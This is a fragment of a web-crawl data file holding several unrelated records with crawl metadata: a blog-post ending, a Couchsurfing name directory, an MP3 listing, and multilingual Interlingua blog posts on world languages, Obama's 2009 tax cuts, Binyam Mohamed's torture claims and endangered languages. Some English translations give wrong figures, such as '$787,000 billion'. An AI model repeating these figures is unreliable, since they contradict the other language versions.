prostitution is legal),\" she said. \"And I am completely willing to consider this possibility. I want him to do the same things done by everyone else his age.\"\nAccording to her, the problem is that when Otto goes to bars and clubs, \"he sees that his friends are having a good time, and Otto even gets a kiss or two, but his friends don't want him to go beyond than that, and that is very hard on him.\"\nOtto decided that he wanted one of his friends, Hannah, to be his girlfriend and wrote about all the things he wanted to do with her. \"The things I would like to do with Hannah include taking a shower together,\" he said. \"I would also like to go to the movies with her and do other similar things.\" But Hannah said she only wanted them to be friends.\nOtto also tried dating agencies, including a \"special\" one to find girls with Down's Syndrome. But Lucy says that the girls (that) Otto met through those agencies \"had nothing in common with him.\" When he dated those girls, the people responsible for them did not want their relationship to go beyond friendship.\n\"Unfortunately Otto is trapped in two worlds, two different cultures,\" says his mother. \"One is an impoverished culture in which everything is special and you are treated like a child. I do not want this for my son!\"\nPosted by hkyson at 6:40 PM","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2009_03_01_archive.html","date":"2014-03-11T10:53:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011176878\/warc\/CC-MAIN-20140305091936-00010-ip-10-183-142-35.ec2.internal.warc.gz","language":"ina","language_score":0.5426533818,"language_script":"Latn","minhash_cluster_size":45,"top_langs":"{\"ina_Latn_score\": 0.5426533818244934, \"spa_Latn_score\": 0.12400991469621658, \"cbk_Latn_score\": 0.061218686401844025, \"eng_Latn_score\": 0.05563891679048538, \"por_Latn_score\": 0.03638755902647972, \"srd_Latn_score\": 0.012528636492788792, \"ita_Latn_score\": 0.011798446998000145}","num_words":22716,"character_repetition_ratio":0.03,"word_repetition_ratio":0.009,"special_characters_ratio":0.191,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.588,"perplexity_score":2557.7,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Peter Hyoung||Peter Illes|\n|Peter Hyslop||Peter Illés|\n|Peter Hyun||Peter Illes|\n|Peter I||Peter Illes|\n|Peter I||Peter Illhardt|\n|Peter I AM||Peter Illhardt|\n|Peter I Lyndon-James||Peter Illich|\n|Peter Iablocichin||Peter Illig|\n|Peter Ian||Peter Illner|\n|Peter Ian Capocao||Peter Illum|\n|Peter Ian Deligero||Peter Ilmert|\n|Peter Ian Staker||Peter Im|\n|Peter Iannacchione||peter imade|\n|Peter Ianos||Peter Imai|\n|Peter iapozzuto||Peter Imascono|\n|Peter Ibanez||Peter Imbong|\n|Peter Ibos||Peter Imhof|\n|Peter Ibrahem||Peter Imhof|\n|Peter Ibrahim||Peter Imholz|\n|Peter Ibrahim||Peter Immel|\n|Peter Ibrahim||Peter Immer|\n|Peter Ibsen||Peter Imoesi|\n|peter Ide||Peter Impeezee|\n|Peter Idjedd||Peter Imrich|\n|Peter Idziak||Peter Imrich|\n|Peter Iets||Peter Imrich|\n|Peter Ifčič||peter in|\n|peter Ifederu||Peter in Shanghai, Cologne, Budapest|\n|Peter Igaz||Peter in Dallas|\n|Peter Igel||Peter in Sofia|\n|Peter Igloi-Nagy||Peter Ince|\n|peter Ignacio||Peter Indri|\n|Peter Ignits||Peter Ing|\n|Peter Ihasz||Peter Ingelsson|\n|Peter Ihlo||Peter Ingemann|\n|Peter Ihlo||peter ingeri|\n|Peter Ihnat||Peter Ingersoll|\n|Peter Ihnat||Peter Inglesby|\n|Peter Ihnat||Peter Ingman|\n|Peter IJlst||Peter Ingraham|\n|Peter Ikeler||Peter Ingram|\n|Peter Ikle||Peter Ingram|\n|Peter Ikonomopoulos||Peter Ingram|\n|Peter Ilanovsky||Peter Ingtoft|\n|Peter Ilavsky||Peter Ingwersen|\n|Peter Iliev||Peter Ingwersen|\n|Peter Iliev||Peter Injoque|\n|Peter Ilinov||Peter Injoque Velezmoro|\n|Peter Illes||Peter Inked|\n|Peter Illes||Peter Innerhofer|","id":"","dump":"CC-MAIN-2016-50","url":"https:\/\/www.couchsurfing.com\/directory\/P-26-75","date":"2016-12-10T16:59:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698543316.16\/warc\/CC-MAIN-20161202170903-00209-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.424010843,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.42401084303855896, \"som_Latn_score\": 0.0900166928768158, \"dag_Latn_score\": 0.07350335270166397, \"kal_Latn_score\": 0.06074442341923714, \"scn_Latn_score\": 0.02949666604399681, \"nob_Latn_score\": 0.01636764593422413, \"glg_Latn_score\": 0.013747102580964565, \"lim_Latn_score\": 0.012728380039334297, \"vec_Latn_score\": 0.010880506597459316, \"xho_Latn_score\": 0.010770782828330994}","num_words":527,"character_repetition_ratio":0.156,"word_repetition_ratio":0.019,"special_characters_ratio":0.249,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.197,"perplexity_score":35027.0,"cluster_detection":-1} +{"text":"Descargar Musica de Hasta Que Tu Muerte Nos Separe\nResultados :\nEscuchar musica de hasta que tu muerte nos separe\nMago De OzHasta Que Tu Muerte Nos Separe (Version Orquestral)05:33\nMägo De OzHasta Que Tu Muerte Nos Separe05:48\nMago De OzHasta Que Tu Muerte Nos Separe05:47\nMägo De OzHasta Que Tu Muerte Nos Separe08:14\nMägo De OzHasta Que Tu Muerte Nos Separe [Versión Orquestal]05:32\nLutoHasta Que Tu Muerte Nos Separe (Final Amateur Mix)06:53\nMägo De OzHasta Que Tu Muerte Nos Separe (Versión Orquestal)05:33\nMago De OzHasta Que Tu Muerte Nos Separe05:40\nMago De OzHasta Que Tu Muerte Nos Separe05:42\nMägo De OzHasta Que Tu Muerte Nos Separe05:36\nMago De OzHasta Que Tu Muerte Nos Separe05:33\nMägo De Oz\/Mago De OzHasta Que Tu Muerte Nos Separe05:40","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/taringamp3.com\/mp3\/hasta-que-tu-muerte-nos-separe","date":"2017-01-22T07:07:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560281353.56\/warc\/CC-MAIN-20170116095121-00386-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.4932524562,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.4932524561882019, \"cbk_Latn_score\": 0.08590491116046906, \"lad_Latn_score\": 0.08167993277311325, \"spa_Latn_score\": 0.07131016999483109, \"nap_Latn_score\": 0.06614240258932114, \"nhg_Latn_score\": 0.03988565504550934, \"ast_Latn_score\": 0.02717960812151432, \"kiu_Latn_score\": 0.022054454311728477, \"nrm_Latn_score\": 0.020443374291062355, \"gug_Latn_score\": 0.016294151544570923}","num_words":219,"character_repetition_ratio":0.315,"word_repetition_ratio":0.629,"special_characters_ratio":0.258,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.247,"perplexity_score":32545.1,"cluster_detection":-1} +{"text":"Saturday, February 28, 2009\n(Languages of this post: Interlingua, Spanish, Portuguese, French, English)\nDurante que le chino mandarin ha le numero le plus grande de personas qui lo parla como lor prime lingua, le majoritate de su parlantes se trova in China mesme. Le anglese, del altere parte, se parla in multe partes del mundo. A causa del potentia economic de Grande Britannia e del Statos Unite, un numero plus grande de libros e magazines se publica in anglese que in altere linguas.\nA causa de iste circumstantia, le systema educational de Ethiopia immediatemente insenia le anglese al pueros e pueras del pais de maniera que illes pote usar libros de instruction publicate in le Statos Unite e Anglaterra. Le economia de Ethiopia non es assatis forte pro appoiar le publication de materiales educational in le lingua de ille pais.\nLe industria del computatores esseva disvellopate in grande parte in le Statos Unite per personas que solmente parla anglese. Mesmo le linguas que se usa pro le programmation de computatores usa parolas in anglese pro su commandos. Personas qui vole usar computatores discoperi que illes pote apprender a utilisar los multo plus facilemente si illes ha al minus un minime cognoscimento del anglese.\nLe juvenes de Europa sape iste cosas, e il es a causa de illo que multes de illes prefere studiar solmente le anglese e resiste le obligation de studiar altere linguas europee.\nA causa de iste circumstantia, il es ben possibile que le major utilitate de \"Interlingua multilingue\" non essera inseniar interlingua a su lectores ma usar interlingua como un medio pro le inseniamento del anglese.\n---\nMientras que el chino mandarín tiene el mayor número de personas que lo hablan como primera lengua, la mayoría de sus hablantes se encuentran en la propia China. El inglés, por otro lado, se habla en muchas partes del mundo. Debido a la potencia económica de Gran Bretaña y los Estados Unidos, muchos más libros y revistas se publican en Inglés que en otros idiomas.\nDebido a esta circunstancia, el sistema educativo de Etiopía inmediatamente enseña Inglés a los niños del país para que puedan usar los libros de texto publicados en los Estados Unidos e Inglaterra. La economía de Etiopía no es lo suficientemente fuerte como para apoyar la publicación de materiales educativos en la lengua de ese país.\nLa industria de la computación fue desarrollada en gran parte en los Estados Unidos por personas que sólo hablan inglés. Incluso las lenguas que se utilizan para la programación de ordenadores usan palabras en inglés para sus comandos. Personas que quieren usar computadoras descubren que pueden aprender a utilizarlos mucho más fácilmente si tienen al menos un mínimo conocimiento del inglés.\nLos jóvenes en Europa saben estas cosas, y es por eso que muchos de ellos prefieren estudiar solamente el inglés y resisten la obligación de estudiar otros idiomas europeos.\nDebido a esta circunstancia, muy posiblemente la mayor utilidad de \"Interlingua multilingue\" no será enseñar interlingua a sus lectores, sino usar interlingua como un medio para la enseñanza del inglés.\n---\nEmbora o chinês mandarim tem o maior número de pessoas que o falam, como primeira língua, a maioria dos seus falantes estão na própria China. O inglês, por outro lado, é falado em muitas partes do mundo. Por causa do poder económico da Grã-Bretanha e os Estados Unidos, muitos mais livros e revistas são publicados em Inglês do que em outras línguas.\nDevido a esta circunstância, o sistema educacional da Etiópia imediatamente ensina o inglês às crianças do país a fim de que eles possam usar livros publicados nos Estados Unidos e Inglaterra. A economia da Etiópia não é suficientemente forte para apoiar a publicação de material educativo na língua desse país.\nA indústria informática foi quasi completamente desenvolvida nos Estados Unidos por pessoas que sòmente falam o inglês. Mesmo as línguas que são utilizadas para a programação de computadores usam palavras de inglês em seus comandos. Pessoas que querem usar computadores acham que podem aprender como usá-los muito mais fàcilmente se tiverem, pelo menos, um mínimo conhecimento de Inglês.\nJovens na Europa conhecem essas coisas, e é por isso que muitas deles preferem estudar sòmente o nglês e resistem a obrigação de estudar outras línguas europeias.\nDevido a esta circunstância, muito possivelmente, a maior utilidade de \"Interlingua Multilingue\" não será para ensinar interlingua aos seus leitores, mas a utilização de interlingua como um meio para o ensino de inglês.\n---\nAlors que le chinois mandarin a le plus grand nombre de gens qui le parlent comme première langue, la plupart de ses-parleurs sont en Chine elle-même. L'anglais, d'autre part, est parlé dans de nombreuses parties du monde. En raison de la puissance économique de la Grande-Bretagne et des États-Unis, beaucoup plus de livres et de revues sont publiés en anglais que dans d'autres langues.\nEn raison de cette circonstance, le système d'éducation de l'Ethiopie immédiatement enseigne l'anglais aux enfants du pays, de sorte qu'ils peuvent utiliser des manuels publiés aux États-Unis et en Angleterre. L'économie de l'Éthiopie n'est pas assez forte pour soutenir la publication de matériel pédagogique dans la langue de ce pays.\nL'industrie informatique a été largement développée aux Etats-Unis par des gens qui ne parlent que l'anglais. Même les langues qui sont utilisées pour la programmation des ordinateurs utilisent des mots anglais pour leurs commandes. Les personnes qui veulent utiliser les ordinateurs peuvent apprendre comment les utiliser beaucoup plus facilement si elles ont au moins un minimum de connaissance de l'anglais.\nLes jeunes en Europe connaissent ces choses, et cela c'est la raison pour laquelle beaucoup d'entre eux préfèrent étudier seulement l'anglais et résistent l'obligation d'étudier d'autres langues européennes.\nEn raison de cette circonstance, peut-être la plus grande utilité de \"Interlingua multilingue\" ne sera pas enseigner Interlingua à ses lecteurs, mais d'utiliser Interlingua comme un moyen d'enseignement de l'anglais.\n---\nMentre il cinese mandarino a il più grande numero di persone che lo parlano come prima lingua, la maggior parte di loro vivono in la stessa Cina. L'inglese, d'altra parte, è parlato in molte parti del mondo. A causa della potenza economica di Gran Bretagna e degli Stati Uniti, molti più libri e riviste vengono pubblicate in inglese che in altre lingue.\nA causa di questa circostanza, il sistema educativo di Etiopia immediatamente insegna inglese ai bambini del paese in modo che possano utilizzare testi pubblicati negli Stati Uniti e in Inghilterra. L'economia di Etiopia non è abbastanza forte per sostenere la pubblicazione di materiale didattico nella lingua di quel paese.\nL'industria dei computer è stata ampiamente sviluppata negli Stati Uniti da parte di persone che parlano solo inglese. Anche le lingue che vengono utilizzate per la programmazione di computer usano delle parole inglesi nei loro comandi. Le persone che vogliono utilizzare i computer possono fare questo molto più facilmente se hanno almeno una minima conoscenza della lingua inglese.\nI giovani in Europa sanno queste cose, ed è per questo che molti di loro preferiscono studiare solo l'inglese e resistono avere l'obbligazzione di studiare altre lingue europee.\nA causa di questa circostanza, forse la più grande utilità di \"Interlingua multilingue\" non sarà insegnare interlingua ai suoi lettori, ma utilizzare Interlingua come mezzo per insegnare l'inglese.\n---\nWhile Mandarin Chinese has the largest number of people who speak it as a first language, most of their speakers are in China itself. English, on the other hand, is spoken in many parts of the world. Because of the economic power of Great Britain and the United States, many more books and magazines are published in English than in other languages.\nBecause of this circumstance, the educational system of Ethiopia immediately teaches English to the children of the country so that they can use textbooks published in the United States and England. The economy of Ethiopia is not strong enough to support the publication of educational materials in the language of that country.\nThe computer industry was largely developed in the United States by people who speak only English. Even the languages that are used for the programming of computers use English words for their commands. People who want to use computers find that they can learn how to use them much more easily if they have at least a minimal knowledge of English.\nYoung people in Europe know these things, and that is why many of them prefer to study only English and resist having the obligation to study other European languages.\nBecause of this circumstance, quite possibly the greatest usefulness of \"Interlingua multilingue\" will not be to teach Interlingua, but to use Interlingua as a medium for teaching English.\nPosted by hkyson at 11:44 AM\nFriday, February 27, 2009\n(Languages of this post: Interlingua, Spanish, English)\nLe presidente del Statos Unite, Barack Obama, diceva que su governamento rapidemente implementara reductiones de impostos que beneficiara le majoritate del familias American.\n\"Me place annunciar iste matino que le Departamento del Tresoreria madava que su impleatos comenciava a reducer le onere de impostos in le cheques de salario de multe americanos, le qual significa que comenciante le prime die de april le familia typic comenciara a reciper un augmento de US$65,00 cata mense\", diceva Obama sabbato in su discurso septimanal in le radio.\nLe mensura forma parte del pachetto de stimulo economic de $787.000 milliones de dollars, promulgate per Obama martes post ardue negotiationes in le Congresso. Un tertio de ille plan include reductiones de impostos.\n\"Nunquam antea in nostre historia ha habite un reduction de impostos un effecto tan rapide o ha arrivate un tal plano a tante travaliatores American\", ille diceva.\nSecundo le presidente, le objectivo es mitter plus moneta in le tascas del americanos e assi stimular le economia e le consumption.\nMa ultra stimular le economia, Obama dice que su governamento luctara contra le grande deficit in le budget.\n\"Nos continuara toto lo que nos pote pro controlar nostre deficits durante que nostre economia se recupera\", ille diceva.\nLe deficit pro le anno fiscal 2008 arrivava a US$438 milliones, un 3,1% del producto interne bruto, secundo le Officina del Budget del Congresso.\nIste cifra non include le costo del plan de stimulo de US$787.000 milliones. Como se pote reducer le deficit durante que se reduce le impostos e se gasta moneta in le infrastructura del pais?\nIsto essera un thema prioritari a un summitate que convocava Obama iste lunedi, que habera le presentia de expertos independentes, sindicatos, e membros del Congresso.\nNullo ex isto essera facile\", diceva Obama. \"Le cammino ante nos essera longe e plen de difficultates. Ma io es confidente que nos como un populo ha le fortia e le sagessa pro sequer iste strategia e superar iste crise.\"\n---\nObama: manos a la obra\nEl presidente de Estados Unidos, Barack Obama, aseguró que su gobierno implementará rápidamente los recortes de impuestos que beneficiarán a la mayoría de las familias estadounidenses.\n\"Me complace anunciar que esta mañana el Departamento del Tesoro mandó a sus empleados que comiencen a reducir la carga de impuestos en los cheques de pagos de muchos americanos, lo que significa que para el 1 de abril, la familia típica comenzará a recibir US$65 más al mes\", explicó Obama este sábado en su discurso radial semanal.\nLa medida es parte del paquete de estímulo económico de US$787.000 millones, promulgado por Obama el martes, tras arduas negociaciones en el Congreso estadounidense. Un tercio de ese plan contempla rebajas impositivas.\n\"Nunca antes en nuestra historia un recorte impositivo ha tenido un efecto tan rápido o ha llegado a tantos estadounidenses trabajadores\", aseguró.\nSegún el mandatario, el objetivo es poner más dinero en los bolsillos de los estadounidenses y estimular de esta manera la economía y el consumo.\nPero además de estimular la economía, Obama asegura que su gobierno luchará contra el gran déficit en el presupuesto.\n\"Haremos todo lo que podamos para poner los explosivos déficits bajo control mientras se recupera nuestra economía\", aseguró.\nEl déficit para el año fiscal 2008 llegó a US$438.000 millones, un 3,1% del Producto Interno Bruto, según la Oficina de Presupuesto del Congreso.\nEsta cifra no incluye el costo del plan de estímulo de US$787.000 millones. ¿Cómo bajar el déficit mientras se recortan los impuestos y se gasta en infraestructura?\nEste será un tema prioritario en una cumbre que convocó Obama para este lunes, que contará con la presencia de expertos independientes, sindicatos y congresistas.\n\"Nada de esto será fácil\", dijo Obama. \"El camino por delante será largo y estará lleno de inconvenientes. Pero estoy confiando en que nosotros, como pueblo, tenemos la fuerza y la sabiduría para llevar adelante esta estrategia y superar la crisis.\"\n---\nObama: Let's get to work:\nThe U.S. president, Barack Obama, said that his government will quickly implement the tax cuts that will benefit the majority of American families.\n\"I am pleased to announce this morning that the Treasury Department began to direct its employees to reduce the tax bite in the paychecks of many Americans, which means that by April 1, the typical family will begin receiving $65.00 more per month,\" Obama said Saturday in his weekly radio address.\nThe measure is part of the economic stimulus package of $787,000 billion issued on Tuesday by Obama after tough negotiations in Congress. A third of that plan includes tax cuts.\n\"Never before in our history has a tax cut had an effect as fast as this one or have so many Americans workers been affected,\" he said.\nAccording to the president, the goal is to put more money into the pockets of Americans and thus stimulate the economy and consumption.\nBut in addition to stimulating the economy, Obama says that his government will fight against the large deficits in the budget.\n\"We will do everything we can to bring the explosive deficit under control while working to recover our economy,\" he said.\nThe deficit for fiscal year 2008 reached $438,000 billion, 3.1% of the Gross Domestic Product, according to the Congressional Budget Office.\nThis figure does not include the cost of a stimulus plan of $787 billion. How can the deficit be lowered as taxes are cut and infrastructure spending goes up?\nThis will be a priority issue at a summit convened Monday by Obama, which will be attended by independent experts, unions and lawmakers.\n\"None of this will be easy,\" Obama said. \"The road ahead is long and filled with difficulty. But I am confident that we as a people have the strength and wisdom to pursue this strategy and overcome this crisis.\"\nPosted by hkyson at 2:53 PM\nWednesday, February 25, 2009\n(Languages of this post: Interlingua, Spanish, English)\nBinyam Mohamed, un residente britannic de origine Ethiopic que se trovava detenite desde 2004 in le base statounitese de Guantanamo, Cuba, retornava iste lunedi al Regno Unite.\n\"Ante iste proba difficile, le 'tortura' esseva un parola abstracte pro me. Io nunquam haberea potite immaginar que io mesme esserea su victima\", ille diceva post indicar que ille non se trovava in conditiones physic o mental pro dar un conferentia de prensa, ben que ille indicava que ille facerea isto assatis tosto.\n\"Totevia il es difficile pro me creder que io esseva sequestrate, transportate de un pais a un altere, e torturate con methodos medieval orchestrate per le governamento del Statos Unite\", ille addeva.\nMohamed esseva arrestate ante septe annos in Pakistan, de ubi ille esseva transportate a Marocco e a Afghanistan, ante esser transferite a Guantanamo in 2004. On le accusava de haber recipite intrenamento del talibanes pro implaciar bombas in le Statos Unite, alique que ille ha negate.\nUn tribunal Britannic determinava le anno passate que su accusationes de tortura esseva credibile e criticava le servicios secrete del Regno Unite pro continuar a cooperar con le statouniteses in despecto del preoccupationes que illo habeva sur le tractamento que presumptemente ille stava a reciper.\nIn su communicato, Mohamed assecurava que le Statos Unite ha milles de prisioneros in diverse partes del mundo contra le quales non se ha presentate cargos e le quales non pote communicar con lor familiares.\n\"Pro me, le pejor momento esseva quando io apprendeva in Morocco que le personas qui me torturava recipeva questiones e materiales del intelligentia Britannic\", ille diceva.\n\"Io me habeva reunite con le intelligentia Britannic in Pakistan. Io habeva essite aperte con illes. Non obstante, le mesme personas que io sperava que iva a salvar me, secundo lo que io apprendeva plus tarde, se habeva alliate con le personas qui me abusava\", ille addeva.\nIn le prime parte de iste mense, duo alte judices Britannic affirmava que le governamento del Statos Unite les habeva menaciate que illo ponerea fin a su cooperation de intelligentia con le britannicos si illes informava le public sur le tractamento que habeva recipite Mohamed in Guantanamo.\nUn pauco postea, le ministsro de relationes exterior del Regno Unite, David Milibrand, negava que le governamento statounitese habeva pressurate le judices e diceva que le accusationes de tortura stava a esser investigate per le autoritates legal britannic.\nIste lunedi, le governamento del Regno Unite exprimeva su satisfaction sur le liberation de Mohamed, e le autoritates statounitesse signalava que iste mensura demonstrava le determination del presidente Barack Obama de clauder le centro de detention de Guatanamo.\nBen que le liberation de Mohamed ha essite ben recipite per le governamento Britannic, su retorno ha reactivate le polemica non solmente sur le tractamento de prisioneros in Guantanamo ma anque sur le rolo del Regno Unite como le alliato le plus intime del Statos Unite durante le prime annos de guerra contra le terrorismo.\n---\nBinyam Mohamed torturado por los Estados Unidos.\nBinyam Mohamed, un residente británico de origen etíope que se encontraba detenido desde 2004 en la base estadounidense de Guantánamo, Cuba, regresó este lunes al Reino Unido.\nEn un comunicado, Mohamed, de 30 años de edad, aseguró que había sido torturado por órdenes del gobierno de Estados Unidos y con complicidad de los servicios secretos británicos.\n\"Antes de esta dura prueba, la 'tortura' era una palabra abstracta para mí. Nunca habría podido imaginarme que sería su victim\", dijo, luego de señalar que no se encontraba en condiciones físicas o mentales para dar una conferencia de prensa, aunque indicó que lo haría próximamente.\n\"Todavía me resulta difícil creer que fui secuestrado, acarreado de un país a otro y torturado con métodos medievales, todo orquestado por el gobierno de Estados Unidos\", añadió.\nMohamed fue arrestado hace cerca de siete años en Pakistán, de donde fue llevado a Marruecos y a Afganistán, antes de ser transferido a Guantánamo en 2004. Lo acusaban de haber recibido entrenamiento del Talibán para poner bombas en Estados Unidos, algo que él ha negado.\nUn tribunal británico determinó, el año pasado, que sus acusaciones de tortura eran creíbles y criticó a los servicios secretos del Reino Unido por cooperar con los estadounidenses, a pesar de las preocupaciones que había por el tratamiento que presuntamente estaba recibiendo.\nEn su comunicado, Mohamed aseguró que los Estados Unidos. tiene miles de prisioneros en diversas partes del mundo contra quienes no se han presentado cargos y a quienes no se les permite comunicarse con sus familiares.\n\"Por mi parte, el peor momento fue cuando me di cuenta en Marruecos de que las personas que me estaban torturando recibían preguntas y informaciones de la inteligencia británica\", dijo.\n\"Yo me había reunido con la inteligencia británica en Pakistán. Había sido abierto con ellos. Sin embargo, las mismas personas que yo esperaba que iban a rescatarme--según me percaté más tarde--se habían aliado con quienes abusaban de mí\", agregó.\nA principios de este mes, dos altos jueces británicos afirmaron que el gobierno de los Estados Unidos. había amenazado con retirar la cooperación de inteligencia entre Washington y Londres si se ponía a disposición del público el material sobre el tratamiento que recibió Mohamed en Guantánamo.\nPoco después, el ministro de Relaciones Exteriores del Reino Unido, David Miliband, rechazó que el gobierno estadounidense hubiera presionado a los jueces y dijo que las acusaciones de tortura a Mohamed están siendo investigadas por la Fiscalía General británica.\nEste lunes, el gobierno del Reino Unido expresó su satisfacción por la liberación de Mohamed, y las autoridades estadounidenses señalaron que la medida demuestra la determinación del presidente Barack Obama de cerrar el centro de detención de Guantánamo.\nAunque la liberación de Mohamed ha sido bien recibida por el gobierno británico, su regreso ha lógicamente reavivado la polémica no sólo sobre el tratamiento de prisioneros en Guantánamo sino también sobre el papel del Reino Unido como el aliado más cercano de los Estados Unidos. durante los primeros años de la guerra contra el terrorismo.\n---\nBinyam Mohamed tortured by the United States\nBinyam Mohamed, a British resident of Ethiopian origin who was detained since 2004 in the U.S. base in Guantanamo, Cuba, returned Monday to the United Kingdom.\nIn a statement, Mohamed, aged 30, said he had been tortured on orders from the U.S. government and with complicity of the British secret services.\n\"Before this test, 'torture' was an abstract word for me. I never could have imagined I would be a victim of the practice,\" he said, after noting that he was not physically or mentally able to hold a press conference, although he indicated that he would do so soon.\n\"I still find it hard to believe that I was kidnapped, brought from one country to another and subjected to medieval torture methods, all orchestrated by the U.S. government,\" he added.\nMohamed was arrested around seven years ago in Pakistan, where he was taken to Morocco and Afghanistan before being transferred to Guantanamo in 2004. He was accused of having received training from the Taliban to plant bombs in the U.S., something he has denied.\nA British court decided last year that there were credible allegations of torture and criticized the secret services of the United Kingdom for continuing to cooperate with the Americans, despite concerns about the treatment he presumably had been been receiving.\nIn his statement, Mohammed said that the U.S. has thousands of prisoners around the world who have not been charged with any crimes and who are not allowed to communicate with their families.\n\"For me, the worst moment came when I realized that in Morocco the people who were torturing me were getting questions and information from British intelligence,\" he said.\n\"I had met with British intelligence in Pakistan. I was open with them. But the same people I had hoped would rescue me, as I realized later, were allied with those who abused me,\" he added.\nEarlier this month, two senior British judges argued that the U.S. government had threatened to withdraw intelligence cooperation between Washington and London if information about the way he had been treated became publicly known.\nShortly afterwards, the Foreign Minister of the United Kingdom, David Miliband, denied that the U.S. government had pressured the judges and said that allegations of Mohamed's torture were being investigated by the British attorney general.\nThis Monday, the government of the United Kingdom expressed its satisfaction over the release of Mohamed and noted that this action shows Barack Obama's determination to close the Guantanamo detention center.\nAlthough the release has been welcomed by the British government, the return of Mohamed obviously has not only revived controversy about the treatment of prisoners in Guantanamo but also about the role of the United Kingdom as the closest ally of U.S. during the early years of the war against terrorism.\nPosted by hkyson at 12:29 PM\nMonday, February 23, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nLe Brasil es le tertie pais del mundo con le numero le plus grande de linguas menaciate con extinction, secundo le nove edition del Atlas Interactive de Linguas in periculo in le mundo, presentate iste jovedi al sede de Unesco in Paris.\nLe Atlas, accessibile desde iste jovedi in le sito de Unesco, reuni 2,5 mille linguas menaciate in le lmundo que pote disparer per le fin de iste seculo.\nSecundo le studio, disveloppate per 25 linguistas, 190 linguas indigene curre le risco de disparer in le Brasil, del quales 45 esseva classificate in le categoria del risco le plus elevate.\nDuo exemplos es le kaixána, parlate per solmente un persona in Japurá, Amazonas, e le mawayano, preservate per solmente 10 indigenas, in le frontiera con Guiana.\nLe Atlas anque include 12 linguas morite in le Brasil, quasi omnes situate in le region del fluvio Amazonas.\n\"Le exodo rural e le installation de grande interprisas e multinationales in le region amazonic e in le Andes es le principal factores externe que contribue al disparition del linguas indigene\", affirma Marleen Habout, specialista in linguas andin.\nLe Atlas anque indica que le regiones del America del Nord, America latin, e Asia ha le numero le plus grande de linguas in periculo.\nIndia es le prime pais in le ranking, con 196 linguas menaciate, sequite per le Statos Unite, Brasil, Indonesia, Mexico, e China.\n\"Le periculo es plus grande in le regions ubi il ha diversitate plus grande\", explicava Françoise Rivière, le subdirector general de Unesco pro le cultura.\nOmne le informationes pote esser consultate de maniera interactive in le sito de Unesco. Le internautas pote facer investigationes per pais, categoria de risco, o nomine del lingua.\nLe linguas es classificate secundo 5 categorias de risco: vulnerabile, in periculo, seriemente in periculo, in situation critic, e linguas morte.\nCirca 6,7 mille linguas se parla in le mundo, e de illos, 200 jam ha disapparite completemente in le ultime tres generationes, 538 se trova in le categoria de risco critic, e 199 es parlate per minus que 10 personas, secundo Unesco.\n---\nBrasil é 3º país com o maior número de línguas em risco de extinção\nO Brasil é o terceiro país do mundo com o maior número de línguas ameaçadas de extinção, segundo a nova edição do Atlas Interativo de Línguas em Perigo no Mundo, apresentado nesta quinta-feira na sede da Unesco, em Paris.\nO Atlas, acessível no site da Unesco, reúne 2,5 mil línguas ameaçadas no mundo, que podem desaparecer até o final deste século.\nSegundo o levantamento, feito por 25 linguistas, 190 línguas indígenas correm risco de desaparecer no Brasil, sendo que 45 delas foram classificadas na categoria de risco mais elevado.\nDois exemplos são o kaixána, falado por apenas 1 pessoa em Japurá, no Amazonas, e o mawayana, preservado por somente 10 indígenas, na fronteira com a Guiana.\nO Atlas também contabiliza 12 línguas mortas no Brasil, quase todas situadas na região da Amazônia.\n\"O êxodo rural e a instalação de grandes empresas e multinacionais na região amazônica e nos Andes são os principais fatores externos que contribuem para o desaparecimento das línguas indígenas\", afirma Marleen Haboud, especialista em línguas andinas.\nO Atlas indica ainda que as regiões da América do Norte, América Latina e Ásia concentram o maior número de idiomas em perigo.\nA Índia lidera o ranking, com 196 línguas ameaçadas, seguida pelos Estados Unidos, Brasil, Indonésia, México e China.\n\"O perigo é maior nas regiões onde há maior diversidade\", explicou Françoise Rivière, subdiretora geral da Unesco para a cultura.\nTodas as informações podem ser consultadas de maneira interativa no site da Unesco. Os internautas podem fazer pesquisas por país, categoria de risco ou nome da língua.\nAs línguas são classificadas segundo 5 categorias de risco : vulneráveis, em perigo, seriamente em perigo, em situação crítica e línguas mortas.\nDas cerca de 6,7 mil línguas faladas no mundo, 200 já desapareceram completamente nas últimas três gerações, 538 estão na categoria de risco crítico e 199 são faladas por menos de 10 pessoas, segundo a Unesco.\n---\nBrazil is the third country in the world with the largest number of threatened languages, according to the new edition of the Interactive Atlas of the World's Endangered Languages, released this Thursday at the headquarters of Unesco in Paris.\nThe Atlas, available since this Thursday on the website of Unesco, lists 2,500 endangered languages in the world that may disappear by the end of this century.\nAccording to the survey, developed by 25 linguists, 190 indigenous languages are at risk of extinction in Brazil, of which 45 were considered to be in the greatest danger.\nTwo examples are the kaixána, spoken by only 1 person in Japurá, Amazonas, and mawayana, preserved by only 10 Indians, on the border with Guyana.\nThe Atlas also includes 12 dead languages in Brazil, almost all located in the Amazon region.\n\"The rural exodus and the presence of large companies and multinationals in the Amazon region and the Andes are the main external factors contributing to the disappearance of indigenous languages,\" says Marleen Haboud, an expert in Andean languages.\nThe Atlas also shows that regions of North America, Latin America, and Asia have the largest number of languages in danger.\nIndia leads the ranking, with 196 endangered languages, followed by the United States, Brazil, Indonesia, Mexico and China.\n\"The danger is greatest in regions where there is more diversity,\" explained Françoise Rivière, Deputy Director General of Unesco for culture.\nAll information can be found at the Unesco site. People using the Net can search by country, type of risk or name of the language.\nThe languages are classified into five categories of risk: vulnerable, endangered, seriously endangered, critically endangered and dead.\nOf about 6.7 thousand languages spoken in the 